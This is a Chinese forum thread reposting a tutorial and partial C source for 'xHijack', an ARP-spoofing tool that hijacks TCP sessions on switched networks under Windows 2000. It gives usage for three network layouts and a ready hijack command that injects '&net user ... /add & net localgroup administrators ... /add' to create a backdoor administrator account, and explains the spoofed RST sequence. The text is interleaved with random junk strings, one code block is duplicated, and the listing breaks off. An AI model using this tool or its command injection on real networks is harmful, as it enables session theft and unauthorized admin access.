数学建模社区-数学中国

标题: 再谈交换环境下的会话劫持(For windows2000) [打印本页]

作者: 韩冰    时间: 2004-11-21 01:44
标题: 再谈交换环境下的会话劫持(For windows2000)
第一步是开启IP Routing的功能,修改注册表
! a" F* K7 R2 \; THKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter为0x1,重启系统即可。 - {% S& {8 k9 p$ |8 q+ u3 Q
第二步是ARP欺骗,具体原理我就不说了。 3 L( Y* o# K, h! j7 G3 y" l
第三步就是开始劫持啦。
* m+ o4 W0 q4 x) J$ ]2 L
* [9 U3 ~- \* V我写了个程序xHijack可以实现第二、三步功能,使用如下:
; J6 D) U* O) T+ x# c* ?- O# L9 \; k, m0 g' Q/ h, z  u* l/ D; s
Usage: xHijack ServerSide ClientSide
1 T4 i! M6 G. I: U4 ~
0 h0 k& [4 r1 w% a# ]# b下面根据三种不同的情况分别说明如何输入参数:
( E1 ]0 H* @7 W6 ^1 D( C<1>服务器、客户端、劫持者处于同一局域网,接在同一交换机上(或交换机级连?)。 ; L7 C- I: `+ B* p  n+ s+ y0 B% B
假如服务器的IP是192.168.0.2,客户端的IP是192.168.0.3,提供如下参数给xHijack即可 1 v3 L+ ^$ z9 @. h1 f% g3 G3 e
c:\>xHijack 192.168.0.2 192.168.0.3 " f0 V. t9 m: u$ a8 \$ n9 q
劫持前数据流程:server <--> client : B$ a2 k  d/ Y- }$ A; r
劫持后数据流程:server <--> hijacker <--> client 8 ?  e' G* O' C2 f1 n, K% ?1 @

! G" s& A* X. o7 Q7 |: z<2>服务器、劫持者处于同一局域网,客户端处于别的网络。 $ Z, ], `6 }) v8 N2 i( l
假如服务器IP是202.202.202.2,服务器的网关是202.202.202.1,提供如下参数
5 v  y. H& X/ d& c' k: LxHijack 202.202.202.2 202.202.202.1
# H' f; K/ p, D' Z5 L& y劫持前数据流程:server <--> gw <--> routes <--> client ! k' [  s8 T2 F* P0 x# u  D
劫持后数据流程:server <--> hijacker <--> gw <--> routes <--> client 7 F" G% l5 U2 }1 v
8 h4 X2 p  w  `8 o% r
<3>客户端、劫持者处于同一局域网,服务器处于别的网络。
8 w( ?" ?& l- b8 x4 {9 d3 M2 L假如客户端的IP是192.168.0.2,网关是192.168.0.1,提供如下参数
" P4 `7 F' Q' ?, OxHijack 192.168.0.1 192.168.0.2 9 T8 g* ?1 j0 L8 n; T
劫持前数据流程:client <--> gw <--> routes <--> server   s! H+ A% e+ T) k
劫持后数据流程:client <--> hijacker <--> gw <--> routes <--> server / Z& a2 w) m6 p6 h- S0 y

5 h# x" l& X4 A8 \7 [1 ^输入两个参数后,会提示你选择网卡,然后会提示 1 d: w% D, f4 G( t6 r3 Y: p
l        <-- List all connections
, ^8 [" K* o: b- ?" S. wr x       <-- Reset the number x connection 7 ]- J0 R* y. g/ @6 F% Q6 Y' V
w x       <-- Watch the number x connection - a2 K5 u3 Y7 H9 E3 \, A
h x command   <-- Hijack the number x connection to execute command
8 J* s/ e" k7 r0 G- Z" R8 V4 T, x' L' x/ g, C( J% H9 u% h
list、reset、watch命令我就不解释了。
# G4 s5 e: q. H. z$ Q9 {假如现在有如下连接
2 e1 U" J3 M+ b( `+ O# a( u9 b(1) 202.202.202.202:23 <--> 192.168.0.3:2345
( \* K& j4 c; \6 N我们想要劫持这个连接运行我们的命令,输入
; V& n9 v4 j6 @5 ~8 B3 }' DxHijack>h 1 "&net user ey4s hijack /add & net localgroup administrators ey4s /add" $ T, ?8 O, s! ?- p7 [
为什么命令前面要加&呢?假如客户刚发送一个字符p过去,我们不加&的话,服务器端接受到的就是
' L* Z6 t4 u# T9 P6 Xpnet user.....了,加了&后就成为p&net user.....,这样就不管前面客户输入了什么,我们的命令 2 \- c; k/ N7 K+ j! o
都能够运行了。以上都假设服务器是windows 2000,unix下加什么字符,我不知道,我是unix白痴,呵呵。 # u5 Y" O" ~* P. Z
& S  d( ]' W- y" Z7 `1 H- _
劫持的流程如下:
  ^" F+ K# r! |  z: b8 J/ q! T<1>伪装成Server给Client发一个rst包
& a, c: Q( ~8 B3 c7 e. A- W% T<2>伪装成Client给Server发了一个数据包 5 a  _& j5 _" y# j  N3 E, r
<3>Server回一个ACK包给client
4 d4 u4 c8 h8 m! B3 I2 X<4>因为Cleint的连接已经给我们reset掉了,所以client回一个rst包给server 0 G: h3 k, [  z( r, C
( ~+ ~0 G5 I' H: c) z0 ?
这样的话,我们只能发一个伪造的包,但我想已经足够了。 3 U6 u2 P4 _: ]3 j4 M. x
想要一直劫持那个连接也可以,如下   O! I5 \( ?$ B6 E5 e9 J- l2 n
<1>伪装成Server给Client发一个rst包
4 @( K0 i, q2 k% h7 N<2>欺骗Client,告诉它Server的MAC地址AAAAAAAAAAAA
4 I2 Y* Q* r5 H, k3 T# n<3>伪装成Client给Server发了一个数据包 : m- t( z4 d9 c5 o  z7 q! g
<4>Server回一个ACK包给client 5 S. ]6 X* L6 A8 K% A
<5>Client回一个rst包给Server,但Server收不到,因为Client发到AAAAAAAAAAAA了,呵呵。 4 p+ x+ h% l3 F& w% b  c
<6>然后Server发给Client的包都由我们来处理,包括给Server回ACK包等等。 : `4 O; t& v0 \2 Y8 a

) p7 g5 ?% P5 D不过这样比较危险,在我们劫持的过程中,Client与Server的通讯始终是断开的。 & e' ~- }/ I( n- Z9 D/ Q7 h- m
/ N# W* H% n4 U, r0 ~$ G9 x
2 G1 c* s" F7 ~4 M
刚开始看TCP/IP协议,调程序调得头昏脑涨,说明也写的乱七八糟,呵呵,程序代码也可能存在很多问题,
7 @: Z0 }0 y5 G) y6 l6 E还请各位多多指点。
( Z8 r; ]& H7 X; U" j, C+ M; Q' z  n* @
BTW:我没有空间,编译好的程序没地方放:(
9 U" K7 h. |6 j& O& u- p1 C. X  e0 b: s9 V; e% H

/ p5 ~; g# h3 \, x
- n7 x- Z# G& t$ {- y- g参考资料 # d& Y( Z( v) K& M  x" s7 W
<>交换环境下的会话劫持http://www.xfocus.net/article_view.php?id=375 # a1 f4 i4 n6 s
<>交换网络中的嗅探和ARP欺骗http://www.xfocus.net/article_view.php?id=377
5 H) a3 S6 ]- V* p- f/ p, z6 P% C4 M8 @* k" t  S3 ]" A1 z

' [% c; k& c. d3 H0 q以下是程序代码
3 O* n4 ^2 _- B----------------------------------------------------------------------
! ]8 I6 Z- l$ b* ^7 Z& \, @/ h/*----------------------------------------------------------------------------- # [* c' y8 `6 s$ f: U9 r* j
File      : xHijack.c
, z- z- s! m8 nVersion      : 1.0
' C' D: A/ c& H8 H; s  y- A. |  R& SCreate at    : 2002/8/12 , c9 [* z2 p' w3 M$ h8 A1 A. e9 F* O
Last modifed at  : 2002/8/19
- V9 N% h2 J! u# pAuthor      : eyas
  X" S' m; U3 O$ w6 t2 D) dEmail      : ey4s@21cn.com ( e7 [0 W3 l- V* E, b5 i* F7 m
HomePage    : www.ey4s.org 6 u  T: l# _" d8 E# u
感谢refdom和shotgun发布的源代码,使我获益非浅。 0 n& b" X! _# q
If you modify the code, or add more functions, please email me a copy. " T+ r" z' J- X
# s8 A+ }2 s& ?8 Q
备注: 5 L4 g, M( ~- x9 I$ ]1 m/ Q
<>没有考虑IP头、TCP头超过20字节的情况
7 t- C4 q3 s: b" M8 u<>没有考虑数据包分片的情况 8 J4 g9 @. [' U! v
<>没有对截取到的TCP数据进行解码,如TELNET,虽然是明文传输,但是TCP数据里面包含了 7 `( s5 p' Z% W6 |' R9 E( u
显示格式、位置等信息,直接打印出来,显得很凌乱。但如果是IRC、SMTP、POP3等就没问 , _7 p+ g: D2 W* s: x
题了。
8 k) x8 ?, Y4 D- ?; O6 F. H* Y7 z2 t$ F* _- b; j
也许下一版本会修正这些问题,也许不会有下一版本了。
' H* |+ K0 T5 p, y% z- H! Z3 w4 R9 e
-----------------------------------------------------------------------------*/ 9 ~- J) [/ [5 r* E8 c) `
#include
% M8 }, Q, I7 K5 H7 Z6 Y; D& m1 s#include - K. c, _0 O+ }3 h: w% I9 L
#include
9 _5 I! M' \) a' k5 r# }4 X7 R#include
4 f9 ~- ?  B- C- I0 E#include - G9 ?0 W  p1 B3 n% w" Q2 J9 s
#include
; C9 c: b1 N9 T! J#include
& Z8 U4 g' f" n: w* R. M1 R; c# b: m! L$ Y2 `. U- t- C
#pragma comment (lib, "packet") 0 a: x1 e- w; X3 |( T
#pragma comment (lib, "iphlpapi") 4 r; P6 x1 \' {5 L4 q  z7 |5 ~$ d
#pragma comment (lib, "ws2_32") ( ~" P4 x5 M" p' K; \7 [' [1 ^. L
  M6 A1 w  U; [- @& S
#define Max_Num_Adapter 10 % B% ^$ f8 z( g8 [  H
#define Max_Num_IPAddr  5 $ f5 I+ f7 V2 ?1 d2 U
#define EPT_IP      0x0800      /* type: IP  */ 9 O% }" m9 p. \6 O9 o
#define ARP_HARDWARE  0x0001      /* Dummy type for 802.3 frames */
" }( @% O3 x# C, Y+ L7 m#define EPT_ARP      0x0806      /* type: ARP */
0 b3 u- v. g, m0 H% B8 X9 c, }
( m8 z, c* F  q: Z( L7 ^" @#define  ACTION_NONE    0
, i8 G' {# ~+ ?$ z4 \#define  ACTION_WATCH  1
3 p: y& k* v0 U3 o% a' x#define  ACTION_RESET  2 1 m$ M" k# P8 S" O: V7 I+ _
#define ACTION_HIJACK  3 : h0 e6 i# n! z: \  j$ N

0 Q$ c9 E( m; N2 q/*以1字节对齐*/
$ ^3 e$ B, |* l0 c#pragma pack(1)
; \& H1 g& W6 ~4 I" j% B. Wtypedef struct _ehhdr
: V0 ?; }. V9 ?# a{ % s& ]) Z& D. g
  unsigned char  DestMAC[6];
+ M! j& j1 b9 b! N5 W! ^" `  unsigned char  SourceMAC[6];
* l/ M3 j, ?9 h  unsigned short  EthernetType;
  S: u+ x7 p9 M9 i  G8 U5 V! Z}EHHDR, *PEHHDR; 4 M+ ]6 n2 n4 Q7 p- o, {9 ~8 K

2 u% d: I7 d# a* t- u# atypedef struct _iphdr        //定义IP首部
3 i4 I( L" y& |. O{
) U$ T0 x( B0 q. T  unsigned char h_verlen;      //4位首部长度,4位IP版本号 6 |+ G# _+ P* L- Y
  unsigned char tos;        //8位服务类型TOS
' ~0 L& h0 z+ ?7 Z  unsigned short total_len;    //16位总长度(字节) $ T6 H7 \; Y" F
  unsigned short ident;      //16位标识
7 t% w6 k: C1 ?! y/ V  unsigned short frag_and_flags;  //3位标志位 ' B" ]$ B& R. Y- K5 R
  unsigned char ttl;        //8位生存时间 TTL 0 h4 e9 m4 c1 T  t8 `, q
  unsigned char proto;      //8位协议 (TCP, UDP 或其他) 3 ]2 k3 u/ ?( J1 o
  unsigned short checksum;    //16位IP首部校验和
* p2 ^# l- B6 b4 N) R  unsigned int sourceIP;      //32位源IP地址 9 |' `0 q9 @. e. E9 F1 g
  unsigned int destIP;      //32位目的IP地址
( e! a/ X! i% s" H& K}IPHDR, *PIPHDR; " |% e+ n. }' Z4 z# T

9 h$ R" x; {5 A% `3 W0 |typedef struct _tcphdr        //定义TCP首部
) W# T- c) p8 G* M0 W{
# v" M$ o3 x- H+ x  USHORT th_sport;        //16位源端口
! P! ~) n2 w; q% s+ d5 D6 p; L  USHORT th_dport;        //16位目的端口
' G( G9 c$ [, E* J7 V8 o  unsigned int th_seq;      //32位序列号
$ n4 I, ~$ h/ i. Y6 W3 F. @  unsigned int th_ack;      //32位确认号
5 d9 n, ~; ?: @1 |0 q8 @  unsigned char th_lenres;    //4位首部长度/6位保留字
5 v% s& {. }4 k7 U$ o! q5 c5 k6 e  unsigned char th_flag;      //6位标志位 2 U% \" v0 X- Z/ O
  USHORT th_win;          //16位窗口大小 2 m3 j0 @6 V( o- J: l( z# q# v6 i6 L
  USHORT th_sum;          //16位校验和 ) i$ x- z" X/ T
  USHORT th_urp;          //16位紧急数据偏移量
" q% D* C0 T$ z7 |, \+ c}TCPHDR, *PTCPHDR;
# ^% I0 a: q5 F" ?) R- _- s
2 _" Y9 o" s1 j3 y4 |typedef struct _psdhdr        //定义TCP pseudo header ( z; P* y* ~% a; s: B
{               
3 P* W7 X  h( g  y4 {3 q1 }  unsigned long saddr;
( |3 I- x/ ?7 Y: m  unsigned long daddr;
- b9 b( `. u( w4 v$ f  char mbz; , m' X, [9 A. |% o& w
  char ptcl;
0 M: @7 w  h1 K+ n  unsigned short tcpl; 4 v% r/ I; {: b" w
}PSDHDR, *PPSDHDR;
/ n; D7 r3 Q. F6 t0 X
; y; P2 j# i/ z! Btypedef struct _arphdr
: D  g$ \$ v! M) L{
- k4 \) _; }$ Y4 e( P/ s6 I  unsigned short  HrdType;//硬件类型 3 i. u* W) T. |/ L: l' S
  unsigned short  ProType;//协议类型
5 K/ X5 }! x- ^& x) e# m- v  unsigned char  HrdAddrlen;//硬件地址长度 0 m+ I. }% n- R7 o
  unsigned char  ProAddrLen;//协议地址长度 6 S4 }: `! D. ~# P1 b" V
  unsigned short  op;//operation
' U8 G! G/ i$ y/ P$ z9 L" \  unsigned char  SourceMAC[6];/* sender hardware address */ 6 ~* C4 Z+ P. H
  unsigned long  SourceIP;/* sender protocol address */   }7 w3 h" e) b4 M8 L/ k* P
  unsigned char  DestMAC[6];/* target hardware address */
& ]% {* a  Z( i" g: ^  unsigned long  DestIP;/* target protocol address */ # V) S& x/ C! V5 N6 v' @# H
}ARPHDR, *PARPHDR; ! ^! u+ m7 u0 d+ w% |  [* J7 b

: d3 V2 d) p- e+ Z+ R! btypedef struct _ArpPacket 1 `* F% Y8 n1 k  M9 A7 w
{
, M0 V' n, l* ~, q  EHHDR  ehhdr;
& f6 m8 K& t1 C! F, B% k  ARPHDR  arphdr; ( O! Q. U- ]8 e* k7 t6 V
}ARPPACKET, *PARPPACKET;
/ T: T9 B- e1 E7 ^5 w+ n+ {
5 y; L9 f5 R. D6 j$ n6 W7 D: Itypedef struct _tcppacket " C. a! \  C# x$ X! U! p0 d8 D
{
; L# E1 p0 m4 E. H+ Q5 l  EHHDR  ehhdr;
7 d" [: V+ V4 c5 K+ J+ B  IPHDR  iphdr;
& _; C2 Q& S4 D4 [- R& J  TCPHDR  tcphdr; 7 u& c: K, f+ m0 K% K/ u- B8 Z
}TCPPACKET, *PTCPPACKET; 3 j/ f. w1 X# S$ k' N* k3 g5 I" I
  r# B* O& Z/ j4 |& l4 H: b" y5 |
typedef struct _conninfo
8 s, Q  h7 m" k' r3 r{
5 O8 L5 z& B, W  DWORD  dwServerIP;   Z5 E; q( L, N- N  s6 K; m5 r3 b  o7 w
  USHORT  uServerPort;
9 Z1 ~# N- _0 E4 R* l  DWORD  dwClientIP;
! a# {7 w9 t+ D& P4 E/ z- u* Z  USHORT  uClientPort;
' s( j! ?* g2 l! v/ N  DWORD  ident;//标识 1 {$ a" v  r, A
  BOOL  bActive;
; t8 U8 T# r* X/ U2 ~  struct  _conninfo  *Next; # r3 M' L+ q9 {! r3 p6 D% O
}CONNINFO, *PCONNINFO;
: o2 a! Z" F( u0 S0 l& w; X5 K% f7 K. f7 `. `
//定义全局变量
作者: 韩冰    时间: 2004-11-21 01:44
unsigned int  g_ServerSideIP, 4 v. h( x* z& p4 E! C& p; Q
        g_ClientSideIP,
, ]+ f5 Z; n$ ?( R; |! J0 m        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表 # \; _5 l; j5 c+ O! O# A" P
        g_TotalIP = 0;//
$ Y* W0 K( M6 B1 j# bunsigned char  g_szOwnMAC[6];//本机MAC地址 ; H% r9 q5 R* \: B3 g/ F. s
unsigned char  g_szClientSideMAC[6]; $ h8 [1 q  Z. v, X. q! m; s
unsigned char  g_szServerSideMAC[6];
' E' B3 D6 ^% v/ b5 t, q8 k* uchar      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位 $ ?/ O. a' q6 i
LPADAPTER    g_lpAdapter; . d/ I9 M3 L6 l
//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread & {) l- N: w. Q& k+ v
HANDLE      g_hThread[4];   }4 l/ G# v5 L# ^
char      g_szCommand[128];//command to execute after hijack
" E4 _' m9 X# q1 iDWORD      g_dwAction;//action type 6 N1 J' Q; S- [7 p: D! v: b- X
DWORD      g_dwCtrlConn;//action 所控制连接的标识 . }  ]/ I* g0 C+ L  g. A; r7 p
DWORD      g_ident;//节点标识,递增 $ M" v" i: S! O( h: Q
PCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针 - U2 w. z7 T8 ?+ i9 A
        g_pConnHead = NULL, 7 J7 j: E, C$ f9 b( b2 k
        g_pConnLast = NULL; 8 n* Z; n- }( o3 _' r2 P7 F
char      g_szSendPacketBuf[1514]; : c/ @% x4 c. S/ b2 ]: j# O8 C
LPPACKET    g_lpSendPacket;
# E( C  ?3 P  ]% ^//函数
+ p; h; D7 T9 T! Kvoid      usage(void); 6 Q) V; d3 K- K+ O2 H( ^# N
void      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL); & ^* p1 }$ B: Y: V
void      ListAllConnection();//列出当前所有的连接
3 a* r3 h) b: ?1 ~6 }1 T6 ~void      ResetActionAllFlag(); , p. P5 a9 b5 D- o- I0 }3 c
USHORT      checksum(USHORT *, int);
6 C  @( z& ~3 U- b$ t) u  WBOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址 : x- |2 [1 R, n) S
BOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包
4 [% u9 }2 Z" q  oLPADAPTER    InitAdapter();//初始化一些参数和全局变量 ! \. {$ B* V- s
BOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
; A% ~) {2 Q6 E# L. fBOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
! R, b" `+ \0 @3 f0 T, `5 \DWORD      GetConnNum(char *, DWORD, DWORD *); ( Y& p! i% J4 J+ ~
DWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL); " I8 B, t: J  @* J: Z, ]; H( H( d
DWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数 . z( q  W( y8 F) d. k6 R8 T6 w- Q
DWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包
; A& H3 `& X" ]5 gDWORD  WINAPI  InterfaceThread(LPVOID);//
0 L8 U; v8 |# k: @BOOL  WINAPI  CtrlEvent(DWORD); 6 A) {0 S0 t! s4 v4 w: q: C
$ G8 Z8 \0 \+ Q0 N* N( V

3 T6 E$ S+ R8 X& G; K& V( L, s+ A' ]. l% ~  Y4 F4 G
int main(int argc, char **argv) ) Y. |5 a2 N, D2 ]& P
{
$ q( H7 x& Q& s9 [: K  struct    bpf_stat stat;
0 j8 E( {8 V: u8 R4 `! V  int      i; 6 R1 S4 i8 d0 O4 A
2 X1 n0 ~7 k0 g  k: M9 t$ I6 o1 i
  usage();
4 r& d+ k5 ^% S$ J1 @6 a% Y0 ~  if (argc != 3) return 0; + ~/ x2 J5 ^; @, j+ l
  //取得参数
* G2 n+ S$ z1 M3 A8 m. a  g_ServerSideIP = inet_addr(argv[1]);
' S* \7 K9 b/ q; y, D  g_ClientSideIP = inet_addr(argv[2]);
( t4 t( V: W5 T6 X8 z  //初始化adapter & 一些全局变量
; c  O; ^1 x: i5 s! Z& y  g_lpAdapter = InitAdapter(); ; s6 \( H1 c5 H0 t! J0 t) c' G. c
  if(!g_lpAdapter) return 0; ( L0 x6 B# q8 D9 B, h& ~
  //get ServerSide MAC & ClientSide MAC   i8 U2 S0 W7 j! H+ Y
  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
2 S- s! \9 N2 P8 v  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0; ; s( A9 e  l: E$ m
  //create arp spoof thread     
5 ]4 l9 [& O9 q7 A: T9 W. ]% Z! ?  i = 1; - w0 e! H, o# A; ]. Y# g, |7 e
  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0); ! R# G: f* G6 h' T9 S
  Sleep(500);
! t0 k# X+ A8 I  i = 2; ! A, W; g. v! q  Y. `
  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0); - I9 F. x9 C; I; Q3 f; _
  //create analyse packet thread
9 r6 n+ N) U' H" k8 z  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0); , p8 ~7 x& O, ]& |: H$ s9 q+ m
  //create interface thread
  t. v) Y* p8 f* q  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0);
8 m) o+ t' {6 ]; N6 V  //set console ctrl handle
$ n7 \- @; K# ~8 x  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE))
0 M4 Q9 @6 b4 L8 h/ q: t  { 7 T! u  K( m; x0 u9 B
    printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
' |+ A% P! \  i$ q- L    return 0;
' y! M/ q. W/ h* e; i  }
% f. N9 d, {9 G; y0 {0 \/ E, B7 W  //wait for any thread exit
9 P2 S  \" J7 F( n+ C- e2 c8 p  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE);
; h; d3 m, e; _4 W2 ?  //print the capture statistics
8 w# d0 K$ F: ]* l8 \) U& N: d  if(PacketGetStats(g_lpAdapter, &stat) == FALSE) 6 G8 D; s' a7 G3 g1 x9 N  o
    printf("Warning: unable to get stats from the kernel!\n");
* a7 n2 q+ T* T& H: Y8 u  k  else , n* V. `, m6 O# S2 `) E7 Q  p9 w
    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop); 1 \% _" n3 M* b6 ~
  //free resource   5 S1 }, x* z  h* x9 d
  PacketFreePacket(g_lpSendPacket); 6 ^/ c$ P: [" i: c- o- w
  PacketCloseAdapter(g_lpAdapter); 3 u/ i+ F0 E2 Z* e2 a
  return 0;
# ]  T1 [4 ^: ~} " K& c$ C) ]6 s$ c( Z6 Z  ]6 B
: R& d! i/ H; v6 F+ F0 _3 z
// ; a1 c* Y  }  f
//功能:重置所有于ACTION有关的标志
3 x0 T2 P* j/ v0 H* S//
作者: 韩冰    时间: 2004-11-21 01:44
unsigned int  g_ServerSideIP, , Q; n, H0 i: J0 P4 O
        g_ClientSideIP, & i4 L5 L9 c2 \( f& |5 t- V
        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表 3 r% k7 m% w6 k6 \. O4 T" m
        g_TotalIP = 0;//
2 o" ]: c6 u4 u8 ~5 l0 Runsigned char  g_szOwnMAC[6];//本机MAC地址
& D) ^9 }+ w# ~unsigned char  g_szClientSideMAC[6]; 6 Y' ?7 M' h* r- X4 b0 P; c4 K
unsigned char  g_szServerSideMAC[6];
" B, `: G+ ^$ ?1 p  r5 Schar      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位   o: b# y" b, c  a7 y& E1 x6 K
LPADAPTER    g_lpAdapter;
% K- e5 i  f3 a0 ?6 h4 N//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread - D. Q# D0 k8 R% E
HANDLE      g_hThread[4]; # R5 P% h- Q; n: e2 y' U! h
char      g_szCommand[128];//command to execute after hijack ; @1 }& u$ h$ D& I7 T' C, a
DWORD      g_dwAction;//action type * K0 Q" X2 p3 w
DWORD      g_dwCtrlConn;//action 所控制连接的标识 ; `% u4 U, ^9 o& `; \( A$ k- i* B
DWORD      g_ident;//节点标识,递增
; I' j8 g2 O; \/ p! Y2 t1 GPCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针
- ^% G( ?! E/ ~* [5 [* G2 v8 w        g_pConnHead = NULL,
% a3 |& u% G" u. u# W0 E' d; T        g_pConnLast = NULL; 1 }- v& O4 ?6 S- |
char      g_szSendPacketBuf[1514];
. \2 _( O# b  `! ?/ K5 iLPPACKET    g_lpSendPacket; 8 o5 l8 Z( S' p9 y1 ~; ]* r0 x* X
//函数
# s# l4 N4 W7 i2 X+ lvoid      usage(void); ; X$ X, ^! I+ V' x6 b4 A8 d+ g
void      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL); 6 O, L3 P! [9 Z4 p1 k4 V7 i
void      ListAllConnection();//列出当前所有的连接 + w( F- p! V* A' T
void      ResetActionAllFlag();
4 i# m. r7 Y" w9 p! ~! j/ k" N5 e7 wUSHORT      checksum(USHORT *, int);
: [% V* F$ S% U; Z6 S6 eBOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址   f2 ^, A( G9 Y. r9 p; U
BOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包 ! [$ Y2 x" f7 Y4 c
LPADAPTER    InitAdapter();//初始化一些参数和全局变量
$ G2 h* V- e2 E/ e$ P" ]( jBOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包   b- S0 g. p, o- {0 t0 S* p5 j) [
BOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
# k$ Q% E7 [3 a, N. ], l. YDWORD      GetConnNum(char *, DWORD, DWORD *); & ^9 u5 f: a' E' p' `- a
DWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL); 8 O3 w+ X3 @3 ~/ w7 u
DWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数 8 Q) D8 ~0 R. l+ u4 P
DWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包
0 }5 o$ b3 \( I- q1 [! X: U$ ODWORD  WINAPI  InterfaceThread(LPVOID);//
1 s- D4 ]# L5 E+ |BOOL  WINAPI  CtrlEvent(DWORD); ; _0 f6 h) ~6 v7 R5 j) t
, v" T4 D8 U+ z+ Z
; N0 Q3 g6 k7 b5 H: {
( d7 U9 {9 y6 b, o" T/ x
int main(int argc, char **argv) ; c1 E4 v' c3 v$ s8 \. i
{ - f0 U; {: S. X  `  e* O
  struct    bpf_stat stat; 6 M1 f/ U+ P& B" c- u8 T; k7 x  z0 C
  int      i; * I1 x* n4 |! |8 f9 y
8 p, T6 j+ U2 y8 K- B! M
  usage(); 4 e# |# ]- H4 b/ ^- Z, ?/ u: f: A. h
  if (argc != 3) return 0;
8 B8 X( I2 M1 [$ c  //取得参数
  b' J7 h' s; B/ }  g_ServerSideIP = inet_addr(argv[1]);
6 D  M8 R( a$ p% E  g_ClientSideIP = inet_addr(argv[2]); 1 H* X) ^+ @$ Q; ^, w; d$ C
  //初始化adapter & 一些全局变量 ) K9 s. S. I! c' H( J3 Y
  g_lpAdapter = InitAdapter(); $ s  b0 p1 [/ m" `8 m, n
  if(!g_lpAdapter) return 0; # r4 l+ v# f+ d: s3 B' U
  //get ServerSide MAC & ClientSide MAC & D/ t' X" i! H0 j4 W7 g0 ~
  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0; , p8 A/ n/ [7 D4 {0 h1 Z1 `: ?1 r0 t
  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
6 ?: t, R+ j3 a4 ?5 R$ G( W  //create arp spoof thread     3 r( G* @7 f' [- f3 _, o# c
  i = 1;
  r  m. l/ P0 `. V" K/ ^6 _# h! v  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
5 R5 ~+ F- q* v  g9 @: s  Sleep(500); # l/ y  m% z3 Z/ H8 A
  i = 2;
# {/ q' f! t: M: _4 {  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0); % o" C2 t4 T  ?7 F' X
  //create analyse packet thread 4 }) ?1 H3 B, b/ N; i
  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0); % o7 G! H, @0 a' t' |
  //create interface thread 4 ~! h' d, |5 p1 G" z- s
  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0);
$ r1 k* M0 D3 ~* n) k  //set console ctrl handle / D6 ?; Y0 @9 a- n" S0 k" N. P
  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE)) 5 Y3 w/ h6 N" Z; G
  {
& s3 [% R( D6 s! |& [# o* e    printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
. g+ a: f' K5 p1 v; Q    return 0; " C4 u! L+ Y" ?  @0 q) @( V
  } ! G% a/ g5 |$ k3 b) p
  //wait for any thread exit 6 F, p! {' n7 Y6 \. y1 ~6 F) G; d
  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE); - J/ H* J- R/ ~- Y4 T0 G
  //print the capture statistics
6 x# f  T8 G# D+ p  if(PacketGetStats(g_lpAdapter, &stat) == FALSE)
8 s! b, @/ o2 e( c& R9 y& ]    printf("Warning: unable to get stats from the kernel!\n"); " u8 g- q5 b5 _* O! E
  else
- o! g) ^" v( o0 t7 r: g    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop); 8 E5 u4 o0 l1 _/ r$ ^
  //free resource   
6 @$ `3 F$ l# I1 K4 p/ {$ O  PacketFreePacket(g_lpSendPacket);
* R" P1 D. s. }, B/ b. c) j0 n  PacketCloseAdapter(g_lpAdapter); # n/ z3 e/ R3 ]5 a4 w) G! `% I
  return 0;
* B, l/ ^4 h1 S- G6 u3 _  Z) j: y5 F}
0 }' Y5 r6 O6 H3 W7 w9 C
) j# p& B, b+ G& t$ G- \+ G// 1 h7 j: H3 B& E  H
//功能:重置所有于ACTION有关的标志 + J2 s9 `, ^+ O
//
作者: 韩冰    时间: 2004-11-21 01:45
void ResetActionAllFlag() 4 w: P  g( O/ }3 q$ a
{
9 Q- k) N% m; `0 ]$ ~  K5 M  g_dwCtrlConn = 0;
# g6 l. {* |4 s8 u0 L  g_pCurrCtrlConn = NULL; 6 a7 `, R) M2 e
  g_dwAction = ACTION_NONE; & v0 q$ E$ u. F+ r
